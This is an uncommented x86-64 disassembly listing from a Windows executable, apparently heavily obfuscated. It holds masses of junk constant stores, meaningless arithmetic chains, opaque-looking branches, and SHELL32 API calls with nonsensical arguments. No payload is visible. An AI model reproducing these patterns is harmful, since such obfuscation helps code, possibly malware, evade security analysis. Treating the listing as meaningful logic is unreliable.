mov qword [rsp + 0xc9f8], rax
mov dword [rsp + 0x6aac], 0x749f
mov dword [rsp + 0x6ab0], 0x6ca8a59d
mov byte [rsp + 0x4a6], 0x13
mov eax, 0x869
mov word [rsp + 0x286c], ax
mov byte [rsp + 0x4a7], 0x4e
mov byte [rsp + 0x4a8], 0x13
mov eax, 0x95b
mov word [rsp + 0x2870], ax
movabs rax, 0x7e19454718f561
mov qword [rsp + 0xca00], rax
movabs rax, 0x7c02f6adb176f9
mov qword [rsp + 0xca08], rax
mov eax, 4
mov word [rsp + 0x2874], ax
mov eax, 0x79f
mov word [rsp + 0x2878], ax
mov eax, 0x455
mov word [rsp + 0x287c], ax
mov byte [rsp + 0x4a9], 0x74
mov byte [rsp + 0x4aa], 0x50
movabs rax, 0x72e7c091e5a9e5
mov qword [rsp + 0xca10], rax
movabs rax, 0x7d004b1c7ff2f0
mov qword [rsp + 0xca18], rax
mov eax, 0xc78
mov word [rsp + 0x2880], ax
mov dword [rsp + 0x6ab4], 0x3e6f
mov eax, 0x8cf
mov word [rsp + 0x2884], ax
mov eax, 0x569
mov word [rsp + 0x2888], ax
mov dword [rsp + 0x6ab8], 0xf553
movabs rax, 0x737711b107e48f
mov qword [rsp + 0xca20], rax
mov dword [rsp + 0x6abc], 0x54809294
movabs rax, 0x7aa0b58a9dbc52
mov qword [rsp + 0xca28], rax
mov byte [rsp + 0x4ab], 0x26
mov eax, 0x294
mov word [rsp + 0x288c], ax
mov byte [rsp + 0x4ac], 0x76
mov eax, 0xd89
mov word [rsp + 0x2890], ax
mov dword [rsp + 0x6ac0], 0x5d37
mov eax, 0x9ca
mov word [rsp + 0x2894], ax
mov eax, 0xf6b
mov word [rsp + 0x2898], ax
movabs rax, 0x70544a22b1199b
mov qword [rsp + 0xca30], rax
mov byte [rsp + 0x4ad], 0x67
mov dword [rsp + 0x6ac4], 0x6cf82135
movabs rax, 0x7cc2d71ecd48c2
mov qword [rsp + 0xca38], rax
movabs rax, 0x70b5615a61f30d
mov qword [rsp + 0xca40], rax
mov dword [rsp + 0x6ac8], 0xe3a5800
mov byte [rsp + 0x4ae], 0x5a
mov eax, 0x5be
mov word [rsp + 0x289c], ax
mov byte [rsp + 0x4af], 8
mov byte [rsp + 0x4b0], 0x32
movabs rax, 0x70bfd78b4ca942
mov qword [rsp + 0xca48], rax
movabs rax, 0x7bb956f4e1526b
mov qword [rsp + 0xca50], rax
mov byte [rsp + 0x4b1], 0x26
mov eax, 0x7ee
mov word [rsp + 0x28a0], ax
movabs rax, 0x795ade24340d6a
mov qword [rsp + 0xca58], rax
mov dword [rsp + 0x6acc], 0x9b49
mov eax, 0x9b9
mov word [rsp + 0x28a4], ax
mov eax, 0x393
mov word [rsp + 0x28a8], ax
movabs rax, 0x7391bd15b106e7
mov qword [rsp + 0xca60], rax
mov eax, 0x4c4
mov word [rsp + 0x28ac], ax
mov eax, 0x34e
mov word [rsp + 0x28b0], ax
mov eax, 0x7d3
mov word [rsp + 0x28b4], ax
mov eax, 0xdee
mov word [rsp + 0x28b8], ax
mov eax, 0xc97
mov word [rsp + 0x28bc], ax
mov dword [rsp + 0x6ad0], 0x9e7c
mov dword [rsp + 0x6ad4], 0xd737
mov dword [rsp + 0x6ad8], 0x76579e76
movabs rax, 0x7e72fa984d555e
mov qword [rsp + 0xca68], rax
mov dword [rsp + 0x6adc], 0xfb94
movabs rax, 0x7af57e615c8c55
mov qword [rsp + 0xca70], rax
mov dword [rsp + 0x6ae0], 0xfba4
movabs rax, 0x7e2adc1be76843
mov qword [rsp + 0xca78], rax
mov eax, 0x377
mov word [rsp + 0x28c0], ax
mov eax, 0x640
mov word [rsp + 0x28c4], ax
movabs rax, 0x71fa027d36a266
mov qword [rsp + 0xca80], rax
mov eax, 0x651
mov word [rsp + 0x28c8], ax
mov byte [rsp + 0x4b2], 0x3c
movabs rax, 0x7ce5d3c8c13bbb
mov qword [rsp + 0xca88], rax
mov byte [rsp + 0x4b3], 0xc
movabs rax, 0x792943782ec2b5
mov qword [rsp + 0xca90], rax
movabs rax, 0x735041926aef4b
mov qword [rsp + 0xca98], rax
mov dword [rsp + 0x6ae4], 0xc2e3
mov eax, 0x365
mov word [rsp + 0x28cc], ax
mov dword [rsp + 0x6ae8], 0x1bee
movabs rax, 0x79b84bda66838c
mov qword [rsp + 0xcaa0], rax
mov byte [rsp + 0x4b4], 0x35
mov byte [rsp + 0x4b5], 0x68
movabs rax, 0x75f5743c85dde0
mov qword [rsp + 0xcaa8], rax
mov eax, 0x4fb
mov word [rsp + 0x28d0], ax
movabs rax, 0x7746c5cb38a42e
mov qword [rsp + 0xcab0], rax
mov dword [rsp + 0x6aec], 0x5d84e0ff
mov dword [rsp + 0x6af0], 0x4c73069f
movabs rax, 0x72567bc7a01636
mov qword [rsp + 0xcab8], rax
movabs rax, 0x750678772def4f
mov qword [rsp + 0xcac0], rax
movabs rax, 0x71ce8a7bc336be
mov qword [rsp + 0xcac8], rax
mov eax, 0x56e
mov word [rsp + 0x28d4], ax
movabs rax, 0x79b24533183af5
mov qword [rsp + 0xcad0], rax
mov dword [rsp + 0x6af4], 0x7a00
mov eax, 0x7bf
mov word [rsp + 0x28d8], ax
movabs rax, 0x7a37a28a43e00a
mov qword [rsp + 0xcad8], rax
movabs rax, 0x76d29ab3452727
mov qword [rsp + 0xcae0], rax
movabs rax, 0x77a98598835a3f
mov qword [rsp + 0xcae8], rax
movabs rax, 0x7063c69cddf160
mov qword [rsp + 0xcaf0], rax
movabs rax, 0x704798e469a97e
mov qword [rsp + 0xcaf8], rax
mov eax, 0x430
mov word [rsp + 0x28dc], ax
movabs rax, 0x77b42d9d8df95a
mov qword [rsp + 0xcb00], rax
mov dword [rsp + 0x6af8], 0x7f27
movabs rax, 0x7b4c31f10c09a2
mov qword [rsp + 0xcb08], rax
mov eax, 0x845
mov word [rsp + 0x28e0], ax
mov eax, 0x7e1
mov word [rsp + 0x28e4], ax
mov eax, PathMakeUniqueName
mov word [rsp + 0x28e8], ax
mov byte [rsp + 0x4b6], 0xb8
movabs rax, 0x759be613995177
mov qword [rsp + 0xcb10], rax
movabs rax, 0x724e806be74a50
mov qword [rsp + 0xcb18], rax
movabs rax, 0x70595187a91571
mov qword [rsp + 0xcb20], rax
movabs rax, 0x7299520b5b8feb
mov qword [rsp + 0xcb28], rax
movabs rax, 0x7c550ca8faec4a
mov qword [rsp + 0xcb30], rax
movabs rax, 0x72822831986b1d
mov qword [rsp + 0xcb38], rax
mov eax, 0x2c1
mov word [rsp + 0x28ec], ax
movabs rax, 0x75de47cc1ddefb
mov qword [rsp + 0xcb40], rax
movabs rax, 0x7d06b07183ecee
mov qword [rsp + 0xcb48], rax
mov byte [rsp + 0x4b7], 0x4b
movabs rax, 0x74e3cb4d6dc8d0
mov qword [rsp + 0xcb50], rax
mov eax, 0x41f
mov word [rsp + 0x28f0], ax
mov byte [rsp + 0x4b8], 0xd
mov eax, 0x592
mov word [rsp + 0x28f4], ax
mov dword [rsp + 0x6afc], 0x7be1
mov byte [rsp + 0x4b9], 0x2a
movabs rax, 0x71eee077c8935b
mov qword [rsp + 0xcb58], rax
mov dword [rsp + 0x6b00], 0x6d32
movabs rax, 0x754623281d66bb
mov qword [rsp + 0xcb60], rax
movabs rax, 0x73a022ece38b09
mov qword [rsp + 0xcb68], rax
movabs rax, 0x780c607f6b1545
mov qword [rsp + 0xcb70], rax
mov byte [rsp + 0x4ba], 0xa4
mov dword [rsp + 0x6b04], 0xd7d8
movabs rax, 0x77dcdccff739a6
mov qword [rsp + 0xcb78], rax
mov eax, 0x2c4
mov word [rsp + 0x28f8], ax
mov dword [rsp + 0x6b08], 0xbd6d
movabs rax, 0x70f11fd857ad6a
mov qword [rsp + 0xcb80], rax
movabs rax, 0x798a3513688b3b
mov qword [rsp + 0xcb88], rax
mov eax, 0xf05
mov word [rsp + 0x28fc], ax
mov eax, ILIsParent
mov word [rsp + 0x2900], ax
mov eax, 0x5cf
mov word [rsp + 0x2904], ax
movabs rax, 0x7c3562df25a988
mov qword [rsp + 0xcb90], rax
movabs rax, 0x7d3031ac77f2ce
mov qword [rsp + 0xcb98], rax
movabs rax, 0x7d2e62f0165613
mov qword [rsp + 0xcba0], rax
movabs rax, 0x76c0c847eef974
mov qword [rsp + 0xcba8], rax
movabs rax, 0x75e3597cb312ca
mov qword [rsp + 0xcbb0], rax
mov eax, 0xc93
mov word [rsp + 0x2908], ax
mov byte [rsp + 0x4bb], 0x9e
mov dword [rsp + 0x6b0c], 0xf0b9
movabs rax, 0x758009d2a48e92
mov qword [rsp + 0xcbb8], rax
movabs rax, 0x72d8eda7c82ecb
mov qword [rsp + 0xcbc0], rax
movabs rax, 0x700603a0e3c3e2
mov qword [rsp + 0xcbc8], rax
mov byte [rsp + 0x4bc], 0x64
mov byte [rsp + 0x4bd], 0x35
mov dword [rsp + 0x6b10], 0x46f1
mov eax, 0x4d0
mov word [rsp + 0x290c], ax
mov dword [rsp + 0x6b14], 0x941a
movabs rax, 0x7e84f6b69e91f2
mov qword [rsp + 0xcbd0], rax
mov byte [rsp + 0x4be], 0x11
mov dword [rsp + 0x6b18], 0x4e54
movabs rax, 0x76b3a75e8e9ee0
mov qword [rsp + 0xcbd8], rax
movabs rax, 0x754f2d81915d50
mov qword [rsp + 0xcbe0], rax
mov byte [rsp + 0x4bf], 0x22
mov dword [rsp + 0x6b1c], 0x1045
movabs rax, 0x723a35caf5e8d0
mov qword [rsp + 0xcbe8], rax
movabs rax, 0x79acf85917213a
mov qword [rsp + 0xcbf0], rax
mov eax, 0x1cc
mov word [rsp + 0x2910], ax
mov eax, 0x277
mov word [rsp + 0x2914], ax
movabs rax, 0x709e32907eb6a0
mov qword [rsp + 0xcbf8], rax
mov eax, 0x213
mov word [rsp + 0x2918], ax
mov eax, 0x3ef
mov word [rsp + 0x291c], ax
mov dword [rsp + 0x6b20], 0xcd05
movabs rax, 0x79e3ff3052869e
mov qword [rsp + 0xcc00], rax
mov eax, 0x8ec
mov word [rsp + 0x2920], ax
movabs rax, 0x755438a4d81574
mov qword [rsp + 0xcc08], rax
mov eax, 0xe62
mov word [rsp + 0x2924], ax
mov eax, 0x820
mov word [rsp + 0x2928], ax
mov eax, 0x51d
mov word [rsp + 0x292c], ax
mov eax, 0x47d
mov word [rsp + 0x2930], ax
mov eax, 0xc10
mov word [rsp + 0x2934], ax
movabs rax, 0x70805ededaea73
mov qword [rsp + 0xcc10], rax
mov eax, 0x839
mov word [rsp + 0x2938], ax
mov eax, 0x194
mov word [rsp + 0x293c], ax
mov dword [rsp + 0x6b24], 0x234b8573
movabs rax, 0x745d33dd183086
mov qword [rsp + 0xcc18], rax
mov eax, 0x71e
mov word [rsp + 0x2940], ax
movabs rax, 0x726dce3878fcaa
mov qword [rsp + 0xcc20], rax
mov eax, 0x73f
mov word [rsp + 0x2944], ax
movabs rax, 0x7582f75ed8eb0f
mov qword [rsp + 0xcc28], rax
movabs rax, 0x718a5ea5243a7b
mov qword [rsp + 0xcc30], rax
mov eax, 0x770
mov word [rsp + 0x2948], ax
mov dword [rsp + 0x6b28], 0x271a
mov dword [rsp + 0x6b2c], 0x8fee
mov dword [rsp + 0x6b30], 0x31633956
movabs rax, 0x73beadaacb5401
mov qword [rsp + 0xcc38], rax
movabs rax, 0x7131b240f5e42d
mov qword [rsp + 0xcc40], rax
mov eax, 0x74
mov word [rsp + 0x294c], ax
mov eax, 0x1c0
mov word [rsp + 0x2950], ax
mov eax, 0x8a
mov word [rsp + 0x2954], ax
mov eax, 0x101
mov word [rsp + 0x2958], ax
mov dword [rsp + 0x6b34], 0xaf08
movabs rax, 0x76e525600b3380
mov qword [rsp + 0xcc48], rax
mov eax, 0xa19
mov word [rsp + 0x295c], ax
movabs rax, 0x70a965d4fe6519
mov qword [rsp + 0xcc50], rax
mov eax, 0xa7
mov word [rsp + 0x2960], ax
mov eax, 0xe8f
mov word [rsp + 0x2964], ax
mov dword [rsp + 0x6b38], 0x384b
mov eax, 0xb3f
mov word [rsp + 0x2968], ax
movabs rax, 0x7e4471eecef670
mov qword [rsp + 0xcc58], rax
movabs rax, 0x7d679a8848524c
mov qword [rsp + 0xcc60], rax
mov byte [rsp + 0x4c0], 0xd1
mov byte [rsp + 0x4c1], 0x4b
mov dword [rsp + 0x6b3c], 0xa02c
mov dword [rsp + 0x6b40], 0xe7b
movabs rax, 0x750e7a4411f9a0
mov qword [rsp + 0xcc68], rax
movabs rax, 0x708e832775e174
mov qword [rsp + 0xcc70], rax
mov eax, 0x1ca
mov word [rsp + 0x296c], ax
mov eax, 0x62d
mov word [rsp + 0x2970], ax
mov byte [rsp + 0x4c2], 0x66
movabs rax, 0x7df0c4446ca681
mov qword [rsp + 0xcc78], rax
mov byte [rsp + 0x4c3], 0x75
movabs rax, 0x7d2ee7eaac027d
mov qword [rsp + 0xcc80], rax
movabs rax, 0x788fe81f3f896d
mov qword [rsp + 0xcc88], rax
mov byte [rsp + 0x4c4], 0x10
mov eax, 0x368
mov word [rsp + 0x2974], ax
mov byte [rsp + 0x4c5], 0xa6
mov eax, 0xa10
mov word [rsp + 0x2978], ax
mov eax, 0x53
mov word [rsp + 0x297c], ax
mov eax, 0x5f4
mov word [rsp + 0x2980], ax
mov eax, 0xc6b
mov word [rsp + 0x2984], ax
mov dword [rsp + 0x6b44], 0xac54
mov eax, 0xb9e
mov word [rsp + 0x2988], ax
mov eax, 0x491
mov word [rsp + 0x298c], ax
movabs rax, 0x73e0ddb5930b83
mov qword [rsp + 0xcc90], rax
mov eax, 0x680
mov word [rsp + 0x2990], ax
mov eax, 0x6c4
mov word [rsp + 0x2994], ax
mov eax, 0x75a
mov word [rsp + 0x2998], ax
movabs rax, 0x7ad381cdf85d66
mov qword [rsp + 0xcc98], rax
movabs rax, 0x73f9398c9d3f38
mov qword [rsp + 0xcca0], rax
mov byte [rsp + 0x4c6], 0x32
movabs rax, 0x729d6df8941a89
mov qword [rsp + 0xcca8], rax
movabs rax, 0x7cac249a56bd25
mov qword [rsp + 0xccb0], rax
movabs rax, 0x747e696b425833
mov qword [rsp + 0xccb8], rax
movabs rax, 0x73976d102159cb
mov qword [rsp + 0xccc0], rax
movabs rax, 0x7512907c7e70ed
mov qword [rsp + 0xccc8], rax
mov dword [rsp + 0x6b48], 0x612e9564
mov dword [rsp + 0x6b4c], 0x2f7f
mov eax, 0x1a9
mov word [rsp + 0x299c], ax
mov dword [rsp + 0x6b50], 0x625177c
mov eax, 0xe4b
mov word [rsp + 0x29a0], ax
mov eax, 0xb95
mov word [rsp + 0x29a4], ax
mov eax, 0x37d
mov word [rsp + 0x29a8], ax
movabs rax, 0x70ae7e4c2c96c6
mov qword [rsp + 0xccd0], rax
mov dword [rsp + 0x6b54], 0x6166
mov eax, 0x18d
mov word [rsp + 0x29ac], ax
movabs rax, 0x75215f4677f61c
mov qword [rsp + 0xccd8], rax
mov dword [rsp + 0x6b58], 0x5b72
mov eax, 0x22d
mov word [rsp + 0x29b0], ax
mov eax, 0x671
mov word [rsp + 0x29b4], ax
mov byte [rsp + 0x4c7], 0x78
mov eax, 0x29d
mov word [rsp + 0x29b8], ax
mov dword [rsp + 0x6b5c], 0x5f31
movabs rax, 0x7d5d3c2c1d1e18
mov qword [rsp + 0xcce0], rax
mov eax, 0xadd
mov word [rsp + 0x29bc], ax
mov eax, 0x451
mov word [rsp + 0x29c0], ax
mov eax, 0x46
mov word [rsp + 0x29c4], ax
mov byte [rsp + 0x4c8], 0x13
mov eax, 0xef9
mov word [rsp + 0x29c8], ax
mov eax, 0x473
mov word [rsp + 0x29cc], ax
mov byte [rsp + 0x4c9], 0xc
movabs rax, 0x76316d73e85183
mov qword [rsp + 0xcce8], rax
mov byte [rsp + 0x4ca], 0x73
mov byte [rsp + 0x4cb], 0xa2
mov byte [rsp + 0x4cc], 0xf
mov byte [rsp + 0x4cd], 0x4c
mov byte [rsp + 0x4ce], 0xb6
mov eax, 0x133
mov word [rsp + 0x29d0], ax
mov dword [rsp + 0x6b60], 0xd8f
mov byte [rsp + 0x4cf], 0x48
mov byte [rsp + 0x4d0], 0x21
movabs rax, 0x70f9a0527e937b
mov qword [rsp + 0xccf0], rax
mov byte [rsp + 0x4d1], 0xd9
movabs rax, 0x74d6f5c17ede32
mov qword [rsp + 0xccf8], rax
mov byte [rsp + 0x4d2], 0xa
mov byte [rsp + 0x4d3], 5
mov dword [rsp + 0x6b64], 0x9a18
mov eax, 0x91
mov word [rsp + 0x29d4], ax
movabs rax, 0x71cfbb80260078
mov qword [rsp + 0xcd00], rax
movabs rax, 0x780e28ba58df01
mov qword [rsp + 0xcd08], rax
mov eax, 0x5e6
mov word [rsp + 0x29d8], ax
mov eax, 0x290
mov word [rsp + 0x29dc], ax
movabs rax, 0x7d183e7ce776d9
mov qword [rsp + 0xcd10], rax
mov byte [rsp + 0x4d4], 0x2c
mov dword [rsp + 0x6b68], 0xb9b2
movabs rax, 0x72083c8b4e4e6f
mov qword [rsp + 0xcd18], rax
mov byte [rsp + 0x4d5], 0xf
mov eax, 0x153
mov word [rsp + 0x29e0], ax
mov eax, 0x672
mov word [rsp + 0x29e4], ax
mov byte [rsp + 0x4d6], 1
mov dword [rsp + 0x6b6c], 0x1170
mov eax, 0x638
mov word [rsp + 0x29e8], ax
movabs rax, 0x759adb2a759b53
mov qword [rsp + 0xcd20], rax
mov eax, 0x66a
mov word [rsp + 0x29ec], ax
movabs rax, 0x7d0d4068d21133
mov qword [rsp + 0xcd28], rax
movabs rax, 0x7891a2055c65be
mov qword [rsp + 0xcd30], rax
mov eax, 0x4a2
mov word [rsp + 0x29f0], ax
mov byte [rsp + 0x4d7], 0x59
mov dword [rsp + 0x6b70], 0x8591
mov eax, 0x278
mov word [rsp + 0x29f4], ax
movabs rax, 0x7055ed65ea83b7
mov qword [rsp + 0xcd38], rax
mov eax, 0x136
mov word [rsp + 0x29f8], ax
mov dword [rsp + 0x6b74], 0x22642832
mov dword [rsp + 0x6b78], 0xc23f
movabs rax, 0x7458fed8ab1df9
mov qword [rsp + 0xcd40], rax
movabs rax, 0x7caad978078caf
mov qword [rsp + 0xcd48], rax
mov dword [rsp + 0x6b7c], 0xd464
mov eax, 0x5b8
mov word [rsp + 0x29fc], ax
movabs rax, 0x7190c7b8ec0bae
mov qword [rsp + 0xcd50], rax
mov eax, 0x628
mov word [rsp + 0x2a00], ax
mov dword [rsp + 0x6b80], 0xd9d8
mov byte [rsp + 0x4d8], 0xe
movabs rax, 0x7e5fd011d415e9
mov qword [rsp + 0xcd58], rax
movabs rax, 0x749d14c889b7ff
mov qword [rsp + 0xcd60], rax
movabs rax, 0x7a24cd215a35cc
mov qword [rsp + 0xcd68], rax
mov eax, 0x365
mov word [rsp + 0x2a04], ax
mov dword [rsp + 0x6b84], 0x49e
mov dword [rsp + 0x6b88], 0x5667
mov eax, 0xfb
mov word [rsp + 0x2a08], ax
mov byte [rsp + 0x4d9], 0xc9
mov byte [rsp + 0x4da], 0xa1
movabs rax, 0x7ce62d4ce223b2
mov qword [rsp + 0xcd70], rax
mov dword [rsp + 0x6b8c], 0x10ff
mov eax, 0x7ba
mov word [rsp + 0x2a0c], ax
mov byte [rsp + 0x4db], 0x6f
movabs rax, 0x769f2117629002
mov qword [rsp + 0xcd78], rax
mov eax, 0x687
mov word [rsp + 0x2a10], ax
mov dword [rsp + 0x6b90], 0x4e05690d
movabs rax, 0x7e3bc5f78d7cbe
mov qword [rsp + 0xcd80], rax
movabs rax, 0x7da388667e03f5
mov qword [rsp + 0xcd88], rax
mov byte [rsp + 0x4dc], 0x1e
mov byte [rsp + 0x4dd], 0x28
mov eax, 0x756
mov word [rsp + 0x2a14], ax
mov eax, 0x470
mov word [rsp + 0x2a18], ax
movabs rax, 0x7ed321178e9908
mov qword [rsp + 0xcd90], rax
movabs rax, 0x7522f98338b87c
mov qword [rsp + 0xcd98], rax
movabs rax, 0x7c5bebc621bb1d
mov qword [rsp + 0xcda0], rax
mov dword [rsp + 0x6b94], 0xe16e
mov byte [rsp + 0x4de], 0xb9
mov eax, 0x1db
mov word [rsp + 0x2a1c], ax
mov eax, 0x542
mov word [rsp + 0x2a20], ax
mov dword [rsp + 0x6b98], 0x455131e0
mov dword [rsp + 0x6b9c], 0x4ae85b24
mov dword [rsp + 0x6ba0], 0x99e3
mov eax, 0x790
mov word [rsp + 0x2a24], ax
mov eax, 0x151
mov word [rsp + 0x2a28], ax
movabs rax, 0x7776af6c6a0940
mov qword [rsp + 0xcda8], rax
movabs rax, 0x771e47e9baabd3
mov qword [rsp + 0xcdb0], rax
movabs rax, 0x778aa957e3095c
mov qword [rsp + 0xcdb8], rax
movabs rax, 0x75922584a4be6b
mov qword [rsp + 0xcdc0], rax
mov eax, 0x17b
mov word [rsp + 0x2a2c], ax
mov dword [rsp + 0x6ba4], 0xc36e
mov dword [rsp + 0x6ba8], 0x5f99
movabs rax, 0x785465a14ce607
mov rcx, qword [rsp + 0xccf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
movsx eax, word [rsp + 0x2a2c]
mov dword [rsp + 0x6bac], eax
cmp dword [rsp + 0x6bac], 0x3fb
je 0x140015d18
jmp 0x140015d2a
movzx ecx, word [rsp + 0x2a2c]
call fcn.140182fd0
jmp 0x14017e727
mov rax, qword [rsp + 0xccf8]
mov qword [rsp + 0xcdc8], rax
mov dword [rsp + 0x6bb0], 0x75a1
mov rax, qword [rsp + 0xccf8]
mov qword [rsp + 0xcdd0], rax
movabs rax, 0xed2b5b62cbc439
cmp qword [rsp + 0xcdd0], rax
je 0x140015d6e
jmp 0x14017e6c8
mov byte [0x14019ef90], 0xc
mov dword [rsp + 0x6bb4], 0xe6f0
cmp dword [rsp + 0x6bb4], 0x119a9
ja 0x140015f5f
movabs rax, 0x7e149143b2ddc8
mov rcx, qword [rsp + 0xccf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xccf8]
shl rax, 0x2b
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xccf8]
sar rax, 0x12
mov qword [rsp + 0xcdc8], rax
movsx eax, word [rsp + 0x2a2c]
or eax, 0x5d2
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
add eax, 0x1e7
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
and eax, 0x6e0
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
xor eax, 0x54e
mov word [rsp + 0x2a2c], ax
movabs rax, 0x7218ff22277562
mov rcx, qword [rsp + 0xccf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov eax, dword [rsp + 0x6bb4]
add eax, 0xf5
mov dword [rsp + 0x6bb4], eax
movzx eax, byte [0x14019ef90]
sar eax, 2
mov byte [0x14019ef90], al
movsx eax, word [rsp + 0x2a2c]
shl eax, 1
mov word [rsp + 0x2a2c], ax
movabs rax, 0x7e0b006ba97196
mov rcx, qword [rsp + 0xcdc8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
movabs rax, 0x7bda63d9a88732
mov rcx, qword [rsp + 0xcdc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
movsx eax, word [rsp + 0x2a2c]
sub eax, 0x1b6
mov word [rsp + 0x2a2c], ax
movzx eax, byte [0x14019ef90]
add eax, 0xca
mov byte [0x14019ef90], al
movsx eax, word [rsp + 0x2a2c]
shl eax, 0xa
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
or eax, 0x2aa
mov word [rsp + 0x2a2c], ax
mov rax, qword [rsp + 0xcdc8]
sar rax, 0x2e
mov qword [rsp + 0xccf8], rax
movsx eax, word [rsp + 0x2a2c]
sub eax, 0x21b
mov word [rsp + 0x2a2c], ax
movabs rax, 0x7eeb57f364108e
mov rcx, qword [rsp + 0xccf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
jmp 0x140015d80
cmp dword [rsp + 0x6ba8], 0x6269
jae 0x140016304
movsx eax, word [rsp + 0x2a2c]
xor eax, 0x323
mov word [rsp + 0x2a2c], ax
movzx eax, byte [0x14019ef90]
and eax, 7
mov byte [0x14019ef90], al
movsx eax, word [rsp + 0x2a2c]
or eax, 0x16
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
shl eax, 8
mov word [rsp + 0x2a2c], ax
mov rax, qword [rsp + 0xccf8]
sar rax, 0x1c
mov qword [rsp + 0xcdc8], rax
movsx eax, word [rsp + 0x2a2c]
sub eax, 0x647
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
add eax, 0x4d2
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
sub eax, 0x5be
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
add eax, 0x74e
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
or eax, 0xf7
mov word [rsp + 0x2a2c], ax
movzx eax, byte [0x14019ef90]
sar eax, 2
mov byte [0x14019ef90], al
movsx eax, word [rsp + 0x2a2c]
shl eax, 5
mov word [rsp + 0x2a2c], ax
lea r9, [rsp + 0x6bb8]
lea r8, [rsp + 0x6bb8]
lea rdx, [rsp + 0x6bb8]
lea rcx, [rsp + 0x6bb8]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x6bb8], eax
movsx eax, word [rsp + 0x2a2c]
sub eax, 0x82
mov word [rsp + 0x2a2c], ax
mov eax, dword [rsp + 0x6ba8]
add eax, 0x24
mov dword [rsp + 0x6ba8], eax
movsx eax, word [rsp + 0x2a2c]
xor eax, 0x475
mov word [rsp + 0x2a2c], ax
mov dword [rsp + 0x20], 9
lea r9, [rsp + 0xcdd8]
mov r8, qword [rsp + 0xcdd8]
mov rdx, qword [rsp + 0xcde0]
mov rcx, qword [rsp + 0xcde8]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x6bbc], eax
lea rdx, [rsp + 0xcde0]
lea rcx, [rsp + 0xcde8]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x6bc0], eax
movsx eax, word [rsp + 0x2a2c]
and eax, 0x6ab
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
add eax, 0x335
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
or eax, 0x68e
mov word [rsp + 0x2a2c], ax
mov rax, qword [rsp + 0xcdc8]
shl rax, 5
mov qword [rsp + 0xccf8], rax
movzx eax, byte [0x14019ef90]
sar eax, 3
mov byte [0x14019ef90], al
movsx eax, word [rsp + 0x2a2c]
sub eax, 0x18d
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
add eax, 0x3e1
mov word [rsp + 0x2a2c], ax
movabs rax, 0x7851c62a9ebdbd
mov rcx, qword [rsp + 0xccf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
movsx eax, word [rsp + 0x2a2c]
add eax, 0x58e
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
shl eax, 4
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
or eax, 0x168
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
sar eax, 9
mov word [rsp + 0x2a2c], ax
movabs rax, 0x7122f6b992fb95
mov rcx, qword [rsp + 0xccf8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
lea rcx, [rsp + 0xcdd8]
call qword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [rsp + 0x6bc4], eax
movzx eax, byte [0x14019ef90]
xor eax, 0x6d
mov byte [0x14019ef90], al
movabs rax, 0x705f95b4200604
mov rcx, qword [rsp + 0xcdc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
movsx eax, word [rsp + 0x2a2c]
add eax, 0x327
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
sar eax, 9
mov word [rsp + 0x2a2c], ax
movabs rax, 0x718a1662c670bc
mov rcx, qword [rsp + 0xccf8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
lea r9, [rsp + 0x6bbc]
lea r8, [rsp + 0x6bc0]
lea rdx, [rsp + 0x6bb8]
lea rcx, [rsp + 0x6bc0]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x6bc8], eax
movsx eax, word [rsp + 0x2a2c]
shl eax, 9
mov word [rsp + 0x2a2c], ax
jmp 0x140015f5f
mov rax, qword [rsp + 0xcdc8]
mov qword [rsp + 0xcdf0], rax
movabs rax, 0xffffaa7e6fe6fafc
cmp qword [rsp + 0xcdf0], rax
je 0x140016345
movabs rax, 0x7a74b054bdf1eb
cmp qword [rsp + 0xcdf0], rax
je 0x14017e5d2
jmp 0x14017e5fc
movsx eax, word [rsp + 0x2a2c]
sar eax, 0xc
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
sub eax, 0x3bc
mov word [rsp + 0x2a2c], ax
movzx eax, byte [0x14019ef90]
add eax, 0x8d
mov byte [0x14019ef90], al
mov rax, qword [rsp + 0xcdc8]
sar rax, 0x1b
mov qword [rsp + 0xccf8], rax
movsx eax, word [rsp + 0x2a2c]
shl eax, 0xb
mov word [rsp + 0x2a2c], ax
movabs rax, 0x7c538343510320
mov rcx, qword [rsp + 0xccf8]
or rcx, rax
mov rax, rcx
